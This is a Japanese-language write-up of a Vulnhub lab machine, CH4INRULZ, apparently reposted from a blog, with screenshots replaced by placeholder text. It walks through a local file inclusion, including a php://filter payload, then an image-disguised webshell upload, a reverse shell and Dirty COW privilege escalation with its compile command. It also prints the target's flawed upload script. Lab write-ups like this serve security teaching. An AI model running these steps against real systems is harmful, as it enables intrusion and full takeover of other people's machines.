Vulnhubターゲットマシンテスト--CH4INRULZ_v1.0.1

メッセージを収集する

ホストの発見

ここに画像の説明を挿入

ポートスキャン

ここに画像の説明を挿入
4つのポート。2つのオープンhttpサービスがあります。

ディレクトリスキャン

1.80ポート:
ここに画像の説明を挿入

2.8011ポート:
ここに画像の説明を挿入

脆弱性の発見と悪用

1.最初にポート80に移動します
。ホームページに情報がありません。

他のディレクトリにアクセスします。

/ LICENSE:
ここに画像の説明を挿入
役に立たない情報。

/robots(.txt)

ここに画像の説明を挿入

/ development:
ここに画像の説明を挿入
一時的に棚上げされたログインポイント。

/ vendor /:
ここに画像の説明を挿入
ディレクトリトラバーサルですが、有用な情報はありません。

2.ポート8011を確認します。

apiというディレクトリは1つだけです。

ここに画像の説明を挿入

このAPIは、フランクのサーバーとの通信に使用されます
が、まだ開発中です。

これらの4つのパスを順番に開き
ここに画像の説明を挿入
ます。開くことができるのは、3番目のパスのみです。ファイルパラメータがありませんか?ファイルに含まれていますか?

GETメソッドが機能しないPOST:
ここに画像の説明を挿入
ファイルインクルードの脆弱性があります。

開発中の別のAPI(APIパス)があるので、バックアップファイルはありますか?
ここに画像の説明を挿入
ファイルリーク:
ここに画像の説明を挿入
開発ログインポイントのアカウントパスワードを考えると、非常に重要なリマインダーですが、パスワードは暗号化されています。

ツールを使用してクラックする:

ここに画像の説明を挿入
さて、ログインに行きます:
ここに画像の説明を挿入

*これは私の未完成のツールリストです

-アップロードツール(完了しましたが、セキュリティレビューが必要です)

アップロードポイント(/ development / uploader /)があることを説明します。
ここに画像の説明を挿入

これで、ファイルのアップロードとファイルのインクルードがすべて利用可能になりました。

しかし、ファイルがどこにアップロードされているのかわかりません。

最初にファイルインクルードを調べて、詳細情報を取得します。

構成ファイルが含まれています:

/etc/apache2/sites-enabled/000-default

ここに画像の説明を挿入
このパスが見つかりました。

最初にファイルを正常にアップロードします。
ここに画像の説明を挿入
パスはupload.phpであることがわかります。

次のファイルを使用して、ソースコードを取得します。

file = php://filter/read=convert.base64encode/resource=/var/www/development/uploader/upload.php

<?php
$target_dir = "FRANKuploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
    
    
    $check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
    if($check !== false) {
    
    
        echo "File is an image - " . $check["mime"] . ".";
        $uploadOk = 1;
    } else {
    
    
        echo "File is not an image.";
        $uploadOk = 0;
    }
}
// Check if file already exists
if (file_exists($target_file)) {
    
    
    echo "Sorry, file already exists.";
    $uploadOk = 0;
}
// Check file size
if ($_FILES["fileToUpload"]["size"] > 500000) {
    
    
    echo "Sorry, your file is too large.";
    $uploadOk = 0;
}
// Allow certain file formats
if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg"
&& $imageFileType != "gif" ) {
    
    
    echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed.";
    $uploadOk = 0;
}
// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {
    
    
    echo "Sorry, your file was not uploaded.";
// if everything is ok, try to upload file
} else {
    
    
    if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
    
    
        echo "The file ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded to my uploads path.";
    } else {
    
    
        echo "Sorry, there was an error uploading your file.";
    }
}
?>


ファイルストレージディレクトリを取得し、監査に合格しました。

提示価格の接尾辞と内容を判断しました。

画像の馬をアップロードする:
ここに画像の説明を挿入

リバースシェル

ここでは、いくつかのphpリバースシェルスクリプトを使用しましたが、すべて失敗しました。最後に、kaliに付属のスクリプトを使用して、IPアドレスとポートを変更しました。

スクリプトパス:

ここに画像の説明を挿入
ここに画像の説明を挿入

右エスカレーション

カーネル情報の表示:
ここに画像の説明を挿入

汚い牛を使って権利をエスカレートする:
ここに画像の説明を挿入
コンパイル:

gcc -pthread dirty.c -o exp -lcrypt

実行、ユーザーの切り替え:
ここに画像の説明を挿入

総括する

以前に作成したものと非常によく似ており、ファイルインクルード+ファイルアップロードでもあります。

今回は.bakからソースコードを入手してください。

おすすめ

転載: blog.csdn.net/qq_45742511/article/details/115185843
おすすめ